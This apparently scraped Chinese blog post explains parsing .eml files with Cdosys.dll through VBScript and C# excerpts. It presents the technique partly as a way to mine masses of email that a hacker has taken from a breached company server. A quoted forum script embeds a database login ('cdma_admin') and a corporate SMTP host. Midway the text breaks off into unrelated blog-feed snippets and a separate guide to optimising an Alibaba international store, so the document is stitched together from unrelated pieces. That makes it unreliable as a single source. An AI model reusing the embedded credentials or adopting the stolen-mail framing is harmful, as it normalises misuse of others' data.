.eml 后缀的邮件文件相信大家并不陌生，应该都见过，没见过也不要紧，随便找个邮箱，选择一封邮件，然后导出或者显示邮件原文，就能看到 .eml 文件格式或者内容了。
在这里科普一下：
EML 格式是微软公司为 Outlook 和 Outlook Express 开发的文件格式。
EML 文件是将邮件归档后生成的文件，保留着原来的HTML格式和标题。大多数邮件客户端都支持EML格式。
.eml 其实是纯文本文件，内容格式为 MIME，继续科普一下：
MIME，英文全称为“Multipurpose Internet Mail Extensions”，即多用途互联网邮件扩展，是目前互联网电子邮件普遍遵循的邮件技术规范。
MIME 邮件由邮件头和邮件体两部分组成。
邮件头包括：标题，送信人，收信人，创建日期，邮件体内容类型和邮件体编码方式等内容。
邮件体包括：正文，超文本，内嵌数据和附件等内容。
MIME 技术规范的完整内容由 RFC 2045-2049 定义，包括了信息格式、媒体类型、编码方式等各方面的内容。
MIME 格式内容具有一定的编码，一般为 base64 或 quoted-printable 编码算法。
如果 eml 文件数量不多的话，人工或者手工挨个打开阅读是可行的，但是如果一次需要处理成千上万封邮件内容并提取分析附件文件数据，那么就是相当痛苦的一件事了。
举个例子，例如某黑客入侵渗透了某公司内网邮件服务器，导出了海量邮件 .eml 文件，准备日后做关键信息提取以及数据分析，那么就必须得使用程序自动化批量处理了。
核总(https://lcx.cc/)由于某次工作需要，需要处理大量 .eml 邮件文件，于是进行了一番研究。
解析方法
虽然核总在日常工作中经常接触 .eml 文件，但是对其具体结构并不是十分了解，只知道这是纯文本文件，内容具有一定编码，一般以 base64 为主。
经过一番搜索后，其实目前主流解析邮件文件的方法基本都是先直接读取文本内容，然后逐行进行解码分析（其实就是对 MIME 格式的分析）。
这种方法虽然简单，但是缺点也很明显，需要自己写大量代码逐行解析 MIME 格式内容，很麻烦、效率低，而且根据每个人经验水平高低，可能产生大量解码错误。
那么核总(https://lcx.cc/)就想到既然这个格式已经出现很多年了，那么系统是否有自带 dll、函数、组件已经封装了个这个功能呢？避免重复造轮子？
于是，核总又进行了更深入的搜索+学习，发现既然微软的 Outlook Express 是可以保存和打开并发送 EML 文件的，那么肯定也是可以解析 EML 文件的。
那么问题就来了，我们是否可以直接利用微软现有的功能呢？答案当然是可以的！那就是“Cdosys.dll”！
Cdosys.dll
Cdosys.dll 又称为 CDOSYS，包含了一系列邮件相关的 COM 组件，从 Windows 2000 开始被正式引入的，后续的操作系统都支持，关于 Cdosys.dll 的细节，请看 MSDN 文档。
使用方法也极其简单，以邮件内容解析为例，核总(https://lcx.cc/)在底下用 vbs 脚本写了个简单例子（目前全网最全的功能），其他语言可以照抄。
vbs 例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45dim ado, oMsg Set ado = CreateObject("Adodb.Stream") set oMsg = CreateObject("CDO.Message") ' 读取文件二进制数据流 ado.Type = 1 '设置读取模式：1 = Binary，2 = Text ado.Mode = 3 '1 只读，2 写入，3 读写。 ado.Open ado.Loadfromfile "C:\Users\lcx.cc\Desktop\3.eml" ' 将EML数据流载入到CDO.Message oMsg.DataSource.OpenObject ado, "_stream" ' 解析内容（每个字段不一定有，记得进行错误判断） on error resume next wscript.echo ado.Size '文件大小 wscript.echo oMsg.Subject '标题 wscript.echo oMsg.From '发信人 wscript.echo oMsg.Sender '寄件人(实际提交邮件的用户或代理的地址) wscript.echo oMsg.ReplyTo '回信收件人（用户直接回复邮件时, reply-to 就是默认的收件人. 如果用户不指定它, from 就是默认的收件人.） wscript.echo oMsg.SentOn '发送时间(此消息提交给服务器的日期/时间) wscript.echo oMsg.CC '抄送 wscript.echo oMsg.BCC '密送 wscript.echo oMsg.To '收信人 wscript.echo oMsg.ReceivedTime '接收时间 wscript.echo oMsg.BodyPart.Charset '邮件内容编码 wscript.echo oMsg.BodyPart.ContentTransferEncoding '通过网络发送时使用的编码 wscript.echo oMsg.HTMLBodyPart.Charset 'Html内容编码 wscript.echo oMsg.HTMLBody 'Html内容 wscript.echo oMsg.TextBodyPart.Charset '文本内容编码 wscript.echo oMsg.TextBody '文本内容 ' 附件 wscript.echo oMsg.Attachments.Count if oMsg.Attachments.Count > 0 Then Dim attach 'as CDO.BodyPart For Each attach In oMsg.Attachments wscript.echo attach.ContentMediaType '附件文件类型 wscript.echo attach.FileName '附件文件名 wscript.echo attach.GetDecodedContentStream.SaveToFile(attach.FileName, 2) '将附件二进制数据保存为源文件（1=不存在时新建/存在时报错(默认), 2=不存在时新建/存在时覆盖） Next End if ' 关闭 ado.Close上边的代码可以实现邮件内容的提取，例如：收件人、发件人、时间、标题、内容、编码等信息。
还可以直接提取原始邮件附件二进制文件数据并保存为原文件，以供后续其他分析。
参考资料
如何使用Visual C＃使用Cdosys.dll库发送带附件的电子邮件
重要摘录
另外摘录了一些重要内容备用，以防以后原网页被删除用作参考。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594[Mail]MIME邮件(EML文件)格式分析 2008-11-10 13:18 阅读(2433)评论(0) http://hankundev.blog.sohu.com/104046669.html MIME，英文全称为“Multipurpose Internet Mail Extensions”，即多用途互联网邮件扩展，是目前互联网电子邮件普遍遵循的邮件技术规范。 MIME邮件由邮件头和邮件体两部分组成。 邮件头包括：标题，送信人，收信人，创建日期，邮件体内容类型和邮件体编码方式等内容。 邮件体包括：正文，超文本，内嵌数据和附件等内容。 MIME技术规范的完整内容由RFC 2045-2049定义，包括了信息格式、媒体类型、编码方式等各方面的内容，本文只介绍其中的一些关键的格式和规范。 1.域 MIME邮件中的重要信息都记录在邮件内的各个域中。 域的基本格式是 {域名}:{内容}。 一个域占一行或多行，域的首行左侧不能有空白字符，占多行的域其后续行必须以空白字符开头。 域的信息内容中还可以包含属性，属性之间以“;”分隔，属性格式是{属性名}="{属性值}"。 域的内容的编码格式是"=?"+编码名称+"?"+B/Q+"?"+编码后的字符序列+"?="。(B代表base64的编码方式，Q代表quoted-printable的编码方式) 2.Content-Type域 Content-Type域定义了邮件中各种内容的形式及属性。 Content-Type域的基本格式是 Content-Type:{主类型}/{子类型}。 Content-Type的主类型分text，image，audio，video和application五种离散类型以及multiple和message两种复合类型。 text类型有plain和html两种常用的子类型。 multiple类型有mixed，alternative和related三种常用的子类型。 3.multiple类型 ·multiple类型基本格式 multiple类型基本格式是 Content-Type: multipart/{子类型};boundary="{分段标识}" 三种子类型的对比： ------------------------------------------------------------------ |类型名 |邮件种类 |boundary作用 | ------------------------------------------------------------------ |multiple/mixed |有附件 |分隔各附件内容和邮件其他内容 | ------------------------------------------------------------------ |multiple/alternative|有超文本 |分隔纯文本，超文本和邮件其他内容| ------------------------------------------------------------------ |multiple/related |有内嵌资源|分隔各内嵌资源和邮件其他内容 | ------------------------------------------------------------------ ·boundary属性 multiple子类型中都定义了各自的boundary属性，邮件中使用boundary中定义的字符串作为标识，将邮件内容分成不同的段，段内每个字段以"--"+boundary中定义的字符串开始，父段则以"--"+boundary中定义的字符串+"--"结束，不同段之间用空行分隔。 ·multiple类型的层次关系 ------------------------------ |multiple/mixed | ------------------------------ | |multiple/related | | ------------------------------ | | |multiple/alternative| | | ------------------------------ | | |纯文本正文 | | | ------------------------------ | | |超文本正文 | | | ------------------------------ | |内嵌资源 | | ------------------------------ |附件 | ------------------------------ 4.Content-Transfer-Encoding域 Content-Transfer-Encoding域定义段内文字的编码方式，不同段可以有不同的编码方式。 MIME邮件中的数据编码普遍采用base64和quoted-printable两种编码。 ·base64编码的算法 编码的原则是将输入数据全部转换成由{'A'-'Z','a'-'z','0'-'9','+','/'}64个ASCII字符组成的字符序列。 编码时将需要转换的数据每次取出6bit，然后转换成十进制数字，查询64个ASCII字符组成的字典表，输出对应位置的ASCII码字符。每3个字节的数据内容会被转换成4个字典中的ASCII码字符。当转换后的数据不是4的整倍数时，用"="来填充。 ·quoted-printable编码的算法 编码的原则是将输入的数据转换成可打印的ASCII码字符。 编码时根据读入内容来决定是否进行编码，如果读入的字节处于33-60，62-126范围内，属可直接打印的ASCII字符，则直接输出，否则将该字节分为两个4bit，每个用一个十六进制数来表示，然后再前面加上"="，每个需要编码的字节被转换成三个字符来表示。 ---------- 分开邮件的各个部分,应该是用正则了.分开之后,对内容做读取的时候,需要用base64和qp两种解码,要根据邮件相关信息来确定具体用哪一种. 一般邮件获取内容编码方式的正则的写法应该是下面这个样子 C# code private const string encodingReg = "(?<=(Content\\-Transfer\\-Encoding\\:)).*"; 做一个TextAnalyze方法来统筹分析 C# code //c 内容 //charset,文字编码方式,utf-8/gb2312等等 //encoding,加密编码方式,包括qp和base64两种 //因为encoding获得的加密编码标志可能不同,所以用了switch. private string TextAnalyze(string c, string charset, string encoding) { switch (encoding.ToLower()) { case "quoted-printable": case "qp": case "q": try { c = QDecode(Encoding.GetEncoding(charset), c); } catch (Exception e) { throw new Exception("TextAnalyze(quoted-printabl)" + e.Message); } break; case "base64": case "b": try { c = DecodeBase64(charset, encoding); } catch (Exception e) { throw new Exception("TextAnalyze(DecodeBase64)" + e.Message); } break; } return c; } base64在c#中处理很简单了,就放一个qp的解码.这个也是在网上辛苦搜到的.当时自己水平太凹,总编不好. C# code /// <summary> /// quoted-printable解码程序. /// </summary> /// <param name="encoding">解码目标字符集</param> /// <param name="data">需要解码的字符串</param> /// <returns></returns> private static string QDecode(System.Text.Encoding encoding, string data) { MemoryStream strm = new MemoryStream(System.Text.Encoding.Default.GetBytes(data)); int b = strm.ReadByte(); MemoryStream dStrm = new MemoryStream(); while (b > -1) { // Hex eg. =E4 if (b == '=') { byte[] buf = new byte[2]; strm.Read(buf, 0, 2); if (!(buf[0] == '\r' && buf[1] == '\n')) { int val = int.Parse(System.Text.Encoding.Default.GetString(buf), System.Globalization.NumberStyles.HexNumber); //int val = int.Parse(System.Text.Encoding.Default.GetString(buf)); byte[] temp = new Byte[] { (byte)val }; dStrm.Write(temp, 0, temp.Length); } } else { string encodedChar = encoding.GetString(new byte[] { (byte)b }); byte[] d = System.Text.Encoding.Default.GetBytes(encodedChar); dStrm.Write(d, 0, d.Length); } b = strm.ReadByte(); } return encoding.GetString(dStrm.ToArray()); } 当时对我来讲最困难的就是qp这部分了,这部分解决之后其他的都很好办的.不知道你什么情况. ---------- 和大家分享一个解决方案，使用这种方法，可以非常容易读取和"EML"邮件相关的所有信息 1、添加COM组件cdosys.dll的引用，如图 2、相关代码 /// <summary> /// 获取eml文件的主体内容 /// </summary> /// <param name="file">eml文件的路径</param> /// <returns>eml文件的主体内容</returns> public string ReadEML(string file) { CDO.Message oMsg = new CDO.Message(); ADODB.Stream stm = null; //读取EML文件到CDO.MESSAGE，做分析的话，实际是用了下面的部分 try { stm = new ADODB.Stream(); stm.Open(System.Reflection.Missing.Value, ADODB.ConnectModeEnum.adModeUnknown, ADODB.StreamOpenOptionsEnum.adOpenStreamUnspecified, "", ""); stm.Type = ADODB.StreamTypeEnum.adTypeBinary;//二进制方式读入 stm.LoadFromFile(file); //将EML读入数据流 oMsg.DataSource.OpenObject(stm, "_stream"); //将EML数据流载入到CDO.Message，要做解析的话，后面就可以了。 } catch (IOException ex) { } finally { stm.Close(); } return oMsg.HTMLBody;//oMsg里包含了邮件相关的所有信息 } 有关“cdosys.dll”模块可以到网上进一步了解，使用它可以方面的完成邮件的所有功能 ---------- eml文件的解析和发送 https://www.cnblogs.com/a-zx/articles/2179255.html 转自：http://www.zu14.cn/2009/05/20/read-analyze-send-eml-as-mail-by-csharp-cdosys/ 最近，我发布了几篇关于 .NET 和 EML 文件的邮件相关 的博文，引来了一些网友的关注与讨论。尤其是对于“如何解析EML文件的内容”和 “发送现有的EML文件”。 目前，比较主流的解析EML文件的方式，基本是对MIME格式的分析，基于对 RFC822及其后续扩展的标准 的理解。但是，此种方法工作量太大，且过于繁琐。 我是个懒人，喜欢找捷径 大家都知道，微软的 outlook express 是可以保存和打开并发送EML文件的。那么很明显，outlook express 肯定是可以解析EML文件的。 问题就来了：我们可不可以利用微软现有的成果呢？ 针对这个问题，我们再回到.NET中发送邮件的功能上，为了体现的明显，我们回到.NET 1.1上，.NET 1.1 发送邮件的是 System.Web.Mail ，这个System.Web.Mail 当时是比较弱的，原因就是它是基于 cdosys.dll 的基础上的且并未做富实现。 cdosys.dll是从windows 2000 开始被正式引入的，后续的操作系统都支持，关于cdosys.dll的细节，请看MSDN。 经过一个晚上对cdosys的研究，终于得出了结果：CDOSYS是可以加载eml文件并进行解析和直接发送的。 cdosys属于COM，在.NET使用，需要添加COM引用。 CDOSYS 添加引用，会在项目的引用里出现下面的2项： image 下面我对发送EML文件，封装了一个类（只做了基本封装，大家可以自己扩展） /// <summary> /// 功能： 发送EML文件 /// 作者： 三角猫 /// 网址： http://www.zu14.cn /// 声明： 转载务必保留此信息 /// </summary> public class EmlSender { private string emlFilePath; private string smtpServer; private string smtpServerPort = "25"; private string smtpUserName; private string smtpPassword; /// <summary> /// 构造函数 /// </summary> /// <param name="EmlFilePath">EML文件的绝对路径</param> public EmlSender(string EmlFilePath) { emlFilePath = EmlFilePath; } /// <summary> /// SMTP服务器地址 /// </summary> public string SmtpServer { set { smtpServer = value; } } /// <summary> /// SMTP服务器端口号 /// </summary> public string SmtpServerPort { set { smtpServerPort = value; } } /// <summary> /// SMTP服务器认证帐号 /// </summary> public string SmtpUserName { set { smtpUserName = value; } } /// <summary> /// SMTP服务器认证密码 /// </summary> public string SmtpPassword { set { smtpPassword = value; } } /// <summary> /// 使用CDOSYS发送EML文件 /// </summary> public void Send() { CDO.Message oMsg = new CDO.Message(); CDO.IConfiguration iConfg = oMsg.Configuration; ADODB.Fields oFields = iConfg.Fields; //设置CDO相关的发送参数，主要是用于SMTP服务器的认证 ADODB.Field oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendusing"]; oField.Value = "2"; oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpserverport"]; oField.Value = smtpServerPort; oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpserver"]; oField.Value = smtpServer; oField = oFields["http://schemas.microsoft.com/cdo/configuration/languagecode"]; oField.Value = "0x0804"; //下面三项可以自己根据需要去填写，我比较懒 oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendemailaddress"]; oField.Value = ""; oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpuserreplyemailaddress"]; oField.Value = ""; oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpaccountname"]; oField.Value = ""; //------------------------ oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"]; oField.Value = "60"; oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendusername"]; oField.Value = smtpUserName; oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendpassword"]; oField.Value = smtpPassword; oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"]; oField.Value = "1"; oFields.Update(); try { //读取EML文件到CDO.MESSAGE，做分析的话，实际是用了下面的部分 ADODB.Stream stm = new ADODB.Stream(); stm.Open(System.Reflection.Missing.Value, ADODB.ConnectModeEnum.adModeUnknown, ADODB.StreamOpenOptionsEnum.adOpenStreamUnspecified, "", ""); stm.Type = ADODB.StreamTypeEnum.adTypeBinary;//二进制方式读入 stm.LoadFromFile(emlFilePath); //将EML读入数据流 oMsg.DataSource.OpenObject(stm, "_stream"); //将EML数据流载入到CDO.Message，要做解析的话，后面就可以了。 stm.Close(); oMsg.Send(); //发送 } catch { throw; } finally { oField = null; oFields = null; oMsg = null; } } } 使用方法： EmlSender eml = new EmlSender(@"d:\a.eml"); eml.SmtpServer = "smtp.zu14.cn"; eml.SmtpServerPort = "25"; eml.SmtpUserName = "admin@zu14.cn"; eml.SmtpPassword = "*****"; eml.Send(); 至此，.NET 关于MAIL 和 EML 相关的内容，算是告一段落了。 ---------- 如何使用Visual C＃使用Cdosys.dll库发送带附件的电子邮件 https://support.microsoft.com/zh-cn/help/310212/how-to-use-the-cdosys-dll-library-to-send-an-e-mail-message-with-attac 摘要 本文介绍如何使用Windows 2000库协作数据对象（CDO）（Cdosys.dll）发送带附件的电子邮件。您可以使用本地SMTP服务器或Microsoft Visual C＃中的智能主机服务器在电子邮件正文中发送文本或HTML或网页。 注意 Cdosys.dll库也称为CDOSYS。 更多信息 要按照“摘要”部分中的说明使用CDOSYS，请按照下列步骤操作： 启动Microsoft Visual Studio。 在“ 文件”菜单上，单击“ 新建”，然后单击“ 项目”。 在项目类型下，单击Visual C＃，然后单击模板下的控制台应用程序。默认情况下，会创建Program.cs。注意在Microsoft Visual C＃.NET 2003中，Visual C＃更改为Visual C＃Projects。默认情况下，创建Class1.cs。 添加对Microsoft CDO For Windows 2000 Library的引用。为此，请按照下列步骤操作： 在“ 项目”菜单上，单击“ 添加引用”。 在COM选项卡上，找到Microsoft CDO For Windows 2000 Library。 注意在Visual C＃.NET 2003中，单击“ 选择”。 要接受您的选择，请在“ 添加引用”对话框中单击“ 确定 ”。如果您收到一个对话框来为您选择的库生成包装器，请单击“ 是”。 在代码窗口中，使用以下代码替换所有代码： namespace CdoSys { using System; class Class1 { static void Main(string[] args) { try { CDO.Message oMsg = new CDO.Message(); CDO.IConfiguration iConfg; iConfg = oMsg.Configuration; ADODB.Fields oFields; oFields = iConfg.Fields; // Set configuration. ADODB.Field oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendusing"]; //TODO: To send by using the smart host, uncomment the following lines: //oField.Value = CDO.CdoSendUsing.cdoSendUsingPort; //oField = oFields["http://schemas.microsoft.com/cdo/configuration/smtpserver"]; //oField.Value = "smarthost"; // TODO: To send by using local SMTP service. //oField = oFields["http://schemas.microsoft.com/cdo/configuration/sendusing"]; //oField.Value = 1; oFields.Update(); // Set common properties from message. //TODO: To send text body, uncomment the following line: //oMsg.TextBody = "Hello, how are you doing?"; //TODO: To send HTML body, uncomment the following lines: //String sHtml; //sHtml = "<HTML>\n" + //"<HEAD>\n" + //"<TITLE>Sample GIF</TITLE>\n" + //"</HEAD>\n" + //"<BODY><P>\n" + //"<h1><Font Color=Green>Inline graphics</Font></h1>\n" + //"</BODY>\n" + //"</HTML>"; //oMsg.HTMLBody = sHtml; //TOTO: To send WEb page in an e-mail, uncomment the following lines and make changes in TODO section. //TODO: Replace with your preferred Web page //oMsg.CreateMHTMLBody("http://www.microsoft.com", //CDO.CdoMHTMLFlags.cdoSuppressNone, //"", ""); oMsg.Subject = "Test SMTP"; //TODO: Change the To and From address to reflect your information. oMsg.From = "someone@example.com"; oMsg.To = "someone@example.com"; //ADD attachment. //TODO: Change the path to the file that you want to attach. oMsg.AddAttachment("C:\\Hello.txt", "", ""); oMsg.AddAttachment("C:\\Test.doc", "", ""); oMsg.Send(); } catch (Exception e) { Console.WriteLine("{0} Exception caught.", e); } return; } } } 如果TODO出现在代码中，请按照指示修改代码。 要构建和运行程序，请按F5。 验证是否已发送和接收电子邮件。 参考 有关使用Visual Studio进行Microsoft Office开发的详细信息，请参阅以下Microsoft Developer Network（MSDN）网站： http://msdn.microsoft.com/en-us/library/aa188489(office.10).aspx 有关如何使用CDOSYS的其他信息，请单击下面的文章编号，以查看Microsoft知识库中相应的文章： 310221如何使用Visual C＃.NET将Cdosys.dll库嵌入到新消息中 310224如何使用Visual C＃.NET使用Cdosys.dll库处理Drop目录中的邮件 310225如何使用Cdosys.dll库通过使用Visual C＃.NET将消息保存到文件 上次更新时间：2019年6月10日 ---------- CDOSYS.dll 发邮件，邮件体中文乱码 方案整理者：lgg2tmm 发布时间：2011-06-04 给位大侠，请帮忙看一下。 objEmail.TextBody.Charset = "Gb2312" 错误，不能运行。 要是没有这行，可以运行，但是中文是乱码。 Const adOpenStatic = 3 Const adLockOptimistic = 3 Const adUseClient = 3 Set objConnection = CreateObject("ADODB.Connection") Set objRecordset = CreateObject("ADODB.Recordset") objConnection.Open "DSN=cdma;uid=cdma_admin;pwd=cdma_admin" objRecordset.CursorLocation = adUseClient objRecordset.Open "SELECT * FROM RECEIVING_RELOG WHERE TO_CHAR(SENDMAILDATE,'YYYY') = TO_CHAR(SYSDATE,'YYYY') AND TO_CHAR(SENDMAILDATE,'MM') = TO_CHAR(SYSDATE,'MM') AND TO_CHAR(SENDMAILDATE,'DD') = TO_CHAR(SYSDATE,'DD')-2 AND ISSUE_DATE is null", objConnection, _ adOpenStatic, adLockOptimistic Do Until objRecordset.EOF toid = "" If objRecordset("ReceiverID1") <> "" then toid =toid&objRecordset("ReceiverID1")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID2") <> "" then toid =toid&objRecordset("ReceiverID2")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID3") <> "" then toid =toid&objRecordset("ReceiverID3")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID4") <> "" then toid =toid&objRecordset("ReceiverID4")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID5") <> "" then toid =toid&objRecordset("ReceiverID5")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID6") <> "" then toid =toid&objRecordset("ReceiverID6")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID7") <> "" then toid =toid&objRecordset("ReceiverID7")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID8") <> "" then toid =toid&objRecordset("ReceiverID8")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID9") <> "" then toid =toid&objRecordset("ReceiverID9")&"@"&"freescale.com"&";" End If If objRecordset("ReceiverID10") <> "" then toid =toid&objRecordset("ReceiverID10")&"@"&"freescale.com"&";" End If SendEmailDate = Month(Now()) & "-" & Day(Now()) & "-" & Year(Now()) Set objEmail = CreateObject("CDO.Message") objEmail.From = "Receiving_Center@freescale.com" objEmail.To = toid objEmail.Subject = "Delivery Notification on " & SendEmailDate objEmail.TextBody.Charset = "Gb2312" objEmail.TextBody = "Please pick up your goods within 24 hrs from receiving center. If you have any queries, please call our hotline number 13370329111 or Ext.85686516. Thanks." & vbCrLf & vbCrLf & "Delivery Date:" & objRecordset("REC_DATE") & vbCrLf & "Vendor Name:" & objRecordset("SUPPLIER_NAME") & vbCrLf & "PO#:" & objRecordset("PO_NO") & vbCrLf & "English Description:" & objRecordset("ENGLISH_DESC") & vbCrLf & "Chinese Description:" & objRecordset("CHINESE_DESC") & vbCrLf & "MAWB:" & objRecordset("MAWB") & vbCrLf & "HAWB:" & objRecordset("HAWB") & vbCrLf & "Original:" & objRecordset("ORIGIN") & vbCrLf & vbCrLf & "Best Regards," & vbCrLf & "Receiving Center" objEmail.Configuration.Fields.Item(") = 2 objEmail.Configuration.Fields.Item(") = "remotesmtp.freescale.net" objEmail.Configuration.Fields.Item(") = 25 objEmail.Configuration.Fields.Update objEmail.Send objRecordset.movenext Loop objRecordset.Close objConnection.Close 推荐解决方案 邮件主体=StrConv(邮件主体,vbunicode) 试一下行不行 - 博客 Jiajun的编程随想 2019-09-14 08:00:00《ufw简明教程》iptables过于复杂，ufw才是给平常人用的。首先我们要安装ufw：```bash...
- 博客 Jiajun的编程随想 2019-09-11 08:00:00《zerotier简明教程》最近使用zerotier替换了frp来实现内网穿透，zerotier是一个软交换机，使用zerotier可以让多台内网机器组成一个局域网。首先要安装 `zerotier-one` 这个软件包，如果是ArchLinux，直接运行...
- 博客 庭说 2019-09-06 00:00:00
要想数据好，信保订单少不了。烧 P4P 的人民币玩家，另当别论。
有问题先找官方
找小何，输入
找拍档，快速接入人工客户。关联阅读
搭建国际站
平台注册
信息要填写完整，特别是
管理公司信息中填写更多经营产品：让客户知道你的主营产品是什么。装修主页
- 产品分类清晰
- 店招和其它 Banner：1200 × 任意高度 px
- 大海报: 1920 × 任意高度 px
- 增加多语言板块（11 种）
- 公司视频：展示工厂有多大
- 客服入口
基础知识
搜索排序规则
把关键词放在 alibaba.com 搜索，从搜索结果页找到买家偏好因素。
关键词
收集关键词
参考资料
- 到底该怎么收集阿里巴巴国际站关键词 - 小朱笔记
- 全自动收集阿里国际站关键词插件 Instant Data Scraper - 小朱笔记
- 油猴脚本：阿里巴巴国际站引流关键词批量下载 - Tuff Plus
首选来源
关键词指数-修改筛选条件直通车关键词-修改筛选条件引流关键词-修改筛选条件每周一次
备选来源
访客详情客户通过哪个词找到你（在全站偏好关键词那一栏，有打勾的放大镜标志（search-keyword），代表客户通过这个词找到你）营销中心-外贸直通车-关键词工具重点关注同行推词和行业词表- Alibaba 搜索框联想词和搜索页底部的相关推荐
- 从 URL 收集：阿里巴巴关键词挖掘秘籍！精准关键词其实不难找 - Park
筛选关键词
- 去除不想关的关键词
- 把英文关键词翻译成中文关键词，翻译不 出来的，可能是品牌词
发布产品
发产品是为了覆盖关键词，满足卖家的要求。
参考资料
类目
- 选择精准！
- 参考同行：搜索产品，看面包屑导航栏
- 参考搜索框：在 alibaba.com 输入关键词，下方会提示类目（
关键词in类目） - 不要放 Other 类目
- 以关键词为导向选择类目（同一个产品，使用不同的关键词，可能类目不同）
标题
产品名称
2021 Hot 16GB White MP3 Player for Women 营销词 重要属性词 产品中心词/ 近义词 / 变体 使用场景 - 营销词：Best-selling、New style laptops、2021
- 重要属性词：32GB、9.7''
- 产品中心词：Tablet PC
- 产品中心词近义词 / 变体：red laptops
- 不建议拆分核心词
- 热度高的核心关键词后置（蜘蛛从后往前抓），但在 with 和 for 前面（为了提高付费推广的评分，可去掉 with 和 for）
- 产品与类目、属性（详情页）匹配，不要欺骗客户
- （存疑）不要过长或过短：70 个字符至 100 个字符，其中一个原因是移动端只能显示 2 行
- 出现品牌名可能会扣分，但是可以放在 for 后面，例如 waterproof case for iPhone
- 如果必须加符号（
/-( ))，请在符号前后加空格 - 同一个单词在标题中只使用一次
- 添加非行业内通用的产品型号，买家搜索热度可能不高
- 首字母大写：在 Excel 通过
=PROPER()函数准换 - 专有名词全大写
- 检查拼写是否有错误
如何打造爆款标题
- 选择一个产品
- 在
数据分析>关键词指数找 5 个热度高的关键词（避开 for 和 with），并把关键词和搜索指数记录在表格中 - 在
数据分析>访客详情（勾选询盘或 TM咨询）找 5 个关键词（避开 for 和 with），放到关键词指数中，并把关键词和搜索指数记录在表格中 - 在表格中按照搜索指数降序排列
- 拟定标题时把搜索指数高的词放在后面
产品关键词
- 使用收集到的关键词
- 不要使用自造词、内部型号、侵权词
更多细则，见：产品关键词如何设置？
主图
- 不要盗图
- 白底
- （近似）正方形尺寸，72 dpi
- 640 × 640 px：最低要求
- 750 × 750 px：与详情图的宽度一致
- 1000 × 1000 px：最大尺寸
- 添加图片守护即可，不用自己加水印
- 第一张主图是重中之重
- 认证：不加
- 放满 6 张
视频
产品功能、同行对比、破坏性试验……
- 主图视频：9 秒至 30 秒
- 详情视频：1 分钟至 3 分钟
参考资料：产品视频拍摄建议
详情页
FAB 法则
- F（Feature）：产品本身的属性
- A（Advantage)：产品优点或作用
- B（Benefit）：产品给客户带来的利益
- 价格
- 价格合理，参考同行
- 使用阶梯价提高产品质量分
- 不要只有图片，关键词和参数要用文字描述
- 宽度 750 px，高度 800 px（做成 750 px，就可以和主图通用了）
- 智能编辑：可创建模板，一键同步
- 自定义属性：填满 10 个；不放 MOQ（重复）；把卖点（tag）
- 关联营销：加链接
- 产品信息质量最高 4.9 分
- 产品介绍（60％）
- 参数表格（4.9 分的必备）
- 通过成品图、细节图、360 度图展示：材质、包装、卖点
- 关联产品营销
- 公司介绍（40％）
- 公司信息
- 设计研发能力：资质证书、研发车间与流程
- 证书（必须是自己的，不然后患无穷）
- 生产能力：流程、质检、材料与工艺、生产线展示、生产设备清单与最大产能展示
